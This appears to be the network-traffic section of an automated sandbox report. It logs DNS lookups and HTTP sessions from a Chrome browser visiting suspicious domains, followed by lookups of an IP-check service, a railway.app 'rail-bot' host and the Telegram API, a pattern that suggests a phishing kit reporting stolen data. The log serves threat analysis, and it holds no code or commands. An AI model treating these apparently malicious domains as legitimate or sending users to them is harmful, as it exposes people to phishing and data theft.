Mar 13, 2025 17:03:39.641242027 CET	52949	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:39.641875982 CET	51158	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:39.644356012 CET	55452	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:39.644471884 CET	56932	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:39.648396015 CET	53	52949	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:39.649360895 CET	53	51158	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:39.669203043 CET	53	56932	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:39.688718081 CET	53	55452	1.1.1.1	192.168.2.9

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 17:02:30.063127995 CET	192.168.2.9	1.1.1.1	c22a	(Port unreachable)	Destination Unreachable
Mar 13, 2025 17:02:34.899514914 CET	192.168.2.9	1.1.1.1	c22a	(Port unreachable)	Destination Unreachable
Mar 13, 2025 17:02:38.445663929 CET	192.168.2.9	1.1.1.1	c27e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 17:02:20.780577898 CET	192.168.2.9	1.1.1.1	0x1359	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:20.780577898 CET	192.168.2.9	1.1.1.1	0xadbf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 17:02:22.060698032 CET	192.168.2.9	1.1.1.1	0x48e3	Standard query (0)	nettl.ntfs2.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:22.060973883 CET	192.168.2.9	1.1.1.1	0x550e	Standard query (0)	nettl.ntfs2.shop	65	IN (0x0001)	false
Mar 13, 2025 17:02:27.065387964 CET	192.168.2.9	1.1.1.1	0xe9f8	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:27.065582991 CET	192.168.2.9	1.1.1.1	0xe2c5	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 17:02:27.987971067 CET	192.168.2.9	1.1.1.1	0xc2e	Standard query (0)	nettl.ntfs2.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:27.988235950 CET	192.168.2.9	1.1.1.1	0x58dc	Standard query (0)	nettl.ntfs2.shop	65	IN (0x0001)	false
Mar 13, 2025 17:02:29.427906990 CET	192.168.2.9	1.1.1.1	0x3ea4	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:29.428422928 CET	192.168.2.9	1.1.1.1	0x14e8	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 17:02:34.404233932 CET	192.168.2.9	1.1.1.1	0x9424	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.404387951 CET	192.168.2.9	1.1.1.1	0x9c9c	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 17:02:34.422492027 CET	192.168.2.9	1.1.1.1	0x497f	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.422848940 CET	192.168.2.9	1.1.1.1	0xb02d	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 17:02:34.424675941 CET	192.168.2.9	1.1.1.1	0xf900	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.424892902 CET	192.168.2.9	1.1.1.1	0x5028	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 17:02:38.408977032 CET	192.168.2.9	1.1.1.1	0xbb46	Standard query (0)	classntfst.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:38.409197092 CET	192.168.2.9	1.1.1.1	0x37aa	Standard query (0)	classntfst.shop	65	IN (0x0001)	false
Mar 13, 2025 17:02:42.045270920 CET	192.168.2.9	1.1.1.1	0x4dc0	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:42.045424938 CET	192.168.2.9	1.1.1.1	0xe88a	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Mar 13, 2025 17:02:50.488203049 CET	192.168.2.9	1.1.1.1	0xf07c	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:50.488471985 CET	192.168.2.9	1.1.1.1	0x6da5	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Mar 13, 2025 17:03:03.608513117 CET	192.168.2.9	1.1.1.1	0xd27f	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:03.608714104 CET	192.168.2.9	1.1.1.1	0x3d10	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Mar 13, 2025 17:03:03.609472990 CET	192.168.2.9	1.1.1.1	0x803a	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:03.609657049 CET	192.168.2.9	1.1.1.1	0xc388	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Mar 13, 2025 17:03:06.415452003 CET	192.168.2.9	1.1.1.1	0x8d84	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:06.415766954 CET	192.168.2.9	1.1.1.1	0xade2	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Mar 13, 2025 17:03:27.078991890 CET	192.168.2.9	1.1.1.1	0x97fb	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:27.079130888 CET	192.168.2.9	1.1.1.1	0x2e0c	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 17:03:30.902326107 CET	192.168.2.9	1.1.1.1	0xb9f4	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:30.902461052 CET	192.168.2.9	1.1.1.1	0x45cd	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Mar 13, 2025 17:03:34.455409050 CET	192.168.2.9	1.1.1.1	0xaf73	Standard query (0)	rail-bot-production.up.railway.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:34.455571890 CET	192.168.2.9	1.1.1.1	0xd77b	Standard query (0)	rail-bot-production.up.railway.app	65	IN (0x0001)	false
Mar 13, 2025 17:03:34.456336021 CET	192.168.2.9	1.1.1.1	0x7a3b	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:34.456466913 CET	192.168.2.9	1.1.1.1	0x48a1	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Mar 13, 2025 17:03:39.641242027 CET	192.168.2.9	1.1.1.1	0x1b86	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:39.641875982 CET	192.168.2.9	1.1.1.1	0xb42f	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Mar 13, 2025 17:03:39.644356012 CET	192.168.2.9	1.1.1.1	0xebb2	Standard query (0)	rail-bot-production.up.railway.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:39.644471884 CET	192.168.2.9	1.1.1.1	0xda48	Standard query (0)	rail-bot-production.up.railway.app	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 17:02:20.787673950 CET	1.1.1.1	192.168.2.9	0xadbf	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 13, 2025 17:02:20.788162947 CET	1.1.1.1	192.168.2.9	0x1359	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:22.074174881 CET	1.1.1.1	192.168.2.9	0x48e3	No error (0)	nettl.ntfs2.shop		104.21.19.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:22.074174881 CET	1.1.1.1	192.168.2.9	0x48e3	No error (0)	nettl.ntfs2.shop		172.67.190.49	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:22.076221943 CET	1.1.1.1	192.168.2.9	0x550e	No error (0)	nettl.ntfs2.shop			65	IN (0x0001)	false
Mar 13, 2025 17:02:27.072050095 CET	1.1.1.1	192.168.2.9	0xe9f8	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:28.004419088 CET	1.1.1.1	192.168.2.9	0xc2e	No error (0)	nettl.ntfs2.shop		172.67.190.49	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:28.004419088 CET	1.1.1.1	192.168.2.9	0xc2e	No error (0)	nettl.ntfs2.shop		104.21.19.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:28.005096912 CET	1.1.1.1	192.168.2.9	0x58dc	No error (0)	nettl.ntfs2.shop			65	IN (0x0001)	false
Mar 13, 2025 17:02:29.697243929 CET	1.1.1.1	192.168.2.9	0x3ea4	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.648842096 CET	1.1.1.1	192.168.2.9	0xf900	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.668106079 CET	1.1.1.1	192.168.2.9	0x9424	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:34.852616072 CET	1.1.1.1	192.168.2.9	0x497f	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:38.424767971 CET	1.1.1.1	192.168.2.9	0xbb46	No error (0)	classntfst.shop		172.67.154.53	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:38.424767971 CET	1.1.1.1	192.168.2.9	0xbb46	No error (0)	classntfst.shop		104.21.88.234	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:38.445580006 CET	1.1.1.1	192.168.2.9	0x37aa	No error (0)	classntfst.shop			65	IN (0x0001)	false
Mar 13, 2025 17:02:42.534192085 CET	1.1.1.1	192.168.2.9	0x4dc0	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:02:51.128746986 CET	1.1.1.1	192.168.2.9	0xf07c	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232038975 CET	1.1.1.1	192.168.2.9	0x803a	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232184887 CET	1.1.1.1	192.168.2.9	0x3d10	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232198954 CET	1.1.1.1	192.168.2.9	0xd27f	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232198954 CET	1.1.1.1	192.168.2.9	0xd27f	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232198954 CET	1.1.1.1	192.168.2.9	0xd27f	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232198954 CET	1.1.1.1	192.168.2.9	0xd27f	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.129	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:04.232198954 CET	1.1.1.1	192.168.2.9	0xd27f	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.44	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:06.422554016 CET	1.1.1.1	192.168.2.9	0x8d84	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:27.086038113 CET	1.1.1.1	192.168.2.9	0x97fb	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:30.909759045 CET	1.1.1.1	192.168.2.9	0xb9f4	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:30.909759045 CET	1.1.1.1	192.168.2.9	0xb9f4	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:34.464283943 CET	1.1.1.1	192.168.2.9	0x7a3b	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:34.464283943 CET	1.1.1.1	192.168.2.9	0x7a3b	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:34.496506929 CET	1.1.1.1	192.168.2.9	0xd77b	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:34.502443075 CET	1.1.1.1	192.168.2.9	0xaf73	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:34.502443075 CET	1.1.1.1	192.168.2.9	0xaf73	No error (0)	trestle.proxy.rlwy.net		35.214.184.4	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:39.648396015 CET	1.1.1.1	192.168.2.9	0x1b86	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 13, 2025 17:03:39.669203043 CET	1.1.1.1	192.168.2.9	0xda48	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:39.688718081 CET	1.1.1.1	192.168.2.9	0xebb2	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 17:03:39.688718081 CET	1.1.1.1	192.168.2.9	0xebb2	No error (0)	trestle.proxy.rlwy.net		35.214.184.4	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

a.nel.cloudflare.com

oka.greenthreads.hr

www.gravatar.com

c.pki.goog

patnero.thesilent.de

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49705	172.217.18.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 17:02:33.216063976 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 17:02:33.831470966 CET	221	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 16:02:23 GMT Expires: Thu, 13 Mar 2025 16:52:23 GMT Age: 10 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 13, 2025 17:02:33.839159012 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 17:02:34.018354893 CET	220	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 16:02:26 GMT Expires: Thu, 13 Mar 2025 16:52:26 GMT Age: 7 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49709	216.24.57.1	80	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 17:02:37.424123049 CET	539	OUT	GET /api/redirect?expires=1741881764112&hash=7e9a04cfe7662d537b1fb482e3faa654c14b63e8ba65e2f6fb16e30982f0fb42 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 13, 2025 17:02:37.690013885 CET	579	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 13 Mar 2025 16:02:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1741881764112&hash=7e9a04cfe7662d537b1fb482e3faa654c14b63e8ba65e2f6fb16e30982f0fb42 cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91fcc1b839789cc1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 31 38 38 31 37 36 34 31 31 32 26 61 6d 70 3b 68 61 73 68 3d 37 65 39 61 30 34 63 66 65 37 36 36 32 64 35 33 37 62 31 66 62 34 38 32 65 33 66 61 61 36 35 34 63 31 34 62 36 33 65 38 62 61 36 35 65 32 66 36 66 62 31 36 65 33 30 39 38 32 66 30 66 62 34 32 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1741881764112&hash=7e9a04cfe7662d537b1fb482e3faa654c14b63e8ba65e2f6fb16e30982f0fb42">Moved Permanently</a>.
Mar 13, 2025 17:02:43.673446894 CET	539	OUT	GET /api/redirect?expires=1741881770244&hash=859119025bf343065ef25d3f9d3fd6b8cf02d1f34ab316d462a49556ce2f83d5 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 13, 2025 17:02:43.925446033 CET	579	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 13 Mar 2025 16:02:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1741881770244&hash=859119025bf343065ef25d3f9d3fd6b8cf02d1f34ab316d462a49556ce2f83d5 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 91fcc1df4fbc9cc1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 31 38 38 31 37 37 30 32 34 34 26 61 6d 70 3b 68 61 73 68 3d 38 35 39 31 31 39 30 32 35 62 66 33 34 33 30 36 35 65 66 32 35 64 33 66 39 64 33 66 64 36 62 38 63 66 30 32 64 31 66 33 34 61 62 33 31 36 64 34 36 32 61 34 39 35 35 36 63 65 32 66 38 33 64 35 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1741881770244&hash=859119025bf343065ef25d3f9d3fd6b8cf02d1f34ab316d462a49556ce2f83d5">Moved Permanently</a>.
Mar 13, 2025 17:03:28.936454058 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49692	142.250.185.132	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:24 UTC	567	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIk6HLAQiJo8sBCIWgzQEI/qXOAQiB1s4BCKXgzgEIruTOAQjf5M4BCIzlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:24 UTC	1303	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 16:02:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ZnsZplTbQEXE3VFVQ7uaJw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-13 16:02:24 UTC	75	IN	Data Raw: 64 32 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 65 73 6c 61 20 73 74 6f 63 6b 73 22 2c 22 6b 65 61 6e 75 20 72 65 65 76 65 73 20 6a 6f 68 6e 20 77 69 63 6b 20 35 22 2c 22 62 69 67 20 74 65 6e 20 62 61 73 6b 65 74 62 61 6c Data Ascii: d29)]}'["",["tesla stocks","keanu reeves john wick 5","big ten basketbal
2025-03-13 16:02:24 UTC	1378	IN	Data Raw: 6c 20 74 6f 75 72 6e 61 6d 65 6e 74 20 62 72 61 63 6b 65 74 22 2c 22 6e 61 73 61 20 73 70 61 63 65 78 20 63 72 65 77 20 31 30 20 6c 61 75 6e 63 68 22 2c 22 67 74 61 20 36 20 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 22 2c 22 64 61 74 61 20 62 72 65 61 63 68 20 73 65 74 74 6c 65 6d 65 6e 74 22 2c 22 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 22 2c 22 75 6e 63 6c 61 69 6d 65 64 20 74 61 78 20 72 65 66 75 6e 64 73 20 69 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 6f 49 6b 6b 34 53 Data Ascii: l tournament bracket","nasa spacex crew 10 launch","gta 6 rockstar games","data breach settlement","san francisco 49ers","unclaimed tax refunds irs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4S
2025-03-13 16:02:24 UTC	1378	IN	Data Raw: 77 57 44 6c 68 4c 33 46 51 64 57 74 54 51 79 39 31 59 6b 70 71 51 30 70 6d 63 56 4a 4e 54 57 46 48 53 48 56 6a 55 48 52 31 4d 31 52 50 4d 57 64 6f 5a 6e 46 32 61 58 56 6b 59 6c 68 6b 57 48 52 74 61 47 78 4c 65 6b 6c 43 53 47 70 6c 63 44 59 76 62 31 4a 4c 52 33 4e 4a 5a 6b 74 6b 56 32 6f 7a 61 47 59 79 5a 6e 5a 50 63 56 4e 72 59 54 4e 78 63 46 49 33 57 6d 68 56 57 55 52 32 62 54 5a 30 59 6c 64 48 4f 47 51 34 57 57 4e 4b 57 44 41 30 63 33 4a 61 4e 6e 4d 32 4e 33 46 74 62 6c 4a 70 4f 56 46 6b 56 33 45 31 51 56 51 30 63 46 64 75 5a 54 56 53 56 33 4e 6f 52 44 6c 50 63 6b 31 4b 56 44 6c 79 4e 57 6c 58 5a 46 5a 78 4e 6b 46 68 55 44 56 6a 64 45 78 4e 61 6b 78 35 55 6c 52 57 54 6a 56 48 55 6c 4a 5a 54 57 55 72 56 57 6f 34 4d 55 4e 31 57 47 70 44 62 31 55 76 51 6b Data Ascii: wWDlhL3FQdWtTQy91YkpqQ0pmcVJNTWFHSHVjUHR1M1RPMWdoZnF2aXVkYlhkWHRtaGxLeklCSGplcDYvb1JLR3NJZktkV2ozaGYyZnZPcVNrYTNxcFI3WmhVWUR2bTZ0YldHOGQ4WWNKWDA0c3JaNnM2N3FtblJpOVFkV3E1QVQ0cFduZTVSV3NoRDlPck1KVDlyNWlXZFZxNkFhUDVjdExNakx5UlRWTjVHUlJZTWUrVWo4MUN1WGpDb1UvQk
2025-03-13 16:02:24 UTC	545	IN	Data Raw: 45 46 42 51 55 46 42 52 57 78 47 56 47 74 54 64 56 46 74 51 30 4d 36 45 31 4e 68 62 69 42 47 63 6d 46 75 59 32 6c 7a 59 32 38 67 4e 44 6c 6c 63 6e 4e 4b 42 79 4e 68 4d 7a 41 77 4d 44 42 53 50 6d 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 45 55 44 46 55 59 33 64 4c 4f 48 46 79 54 6b 64 45 4d 45 56 70 4e 55 39 36 52 6b 35 4a 53 7a 42 79 54 56 4d 34 4e 48 4e 55 63 7a 56 59 54 55 78 47 54 55 78 54 62 30 64 42 53 6d 78 31 51 32 68 33 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 22 2d 31 36 35 32 36 31 31 34 38 30 39 33 32 35 32 39 34 37 30 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 Data Ascii: EFBQUFBRWxGVGtTdVFtQ0M6E1NhbiBGcmFuY2lzY28gNDllcnNKByNhMzAwMDBSPmdzX3NzcD1lSnpqNHREUDFUY3dLOHFyTkdEMEVpNU96Rk5JSzByTVM4NHNUczVYTUxGTUxTb0dBSmx1Q2h3cAc\u003d","zl":10002},{"zl":10002}],"google:suggesteventid":"-1652611480932529470","google:suggestrelevance
2025-03-13 16:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49699	35.190.80.1	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:28 UTC	543	OUT	OPTIONS /report/v4?s=SunFNVLve0UQg5iU547W1VbZVPE9gkL7lhOJUP0uQj1lwMfIG23%2BJ4MBuNk6bIGgJJI7gWFyWSW3iS6iT9ICBXflhYhZGT48vkjFAE5TjH8%2FRL5lH5QmiV1z%2F%2BiXfqBKk0Jf HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nettl.ntfs2.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:29 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 16:02:28 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

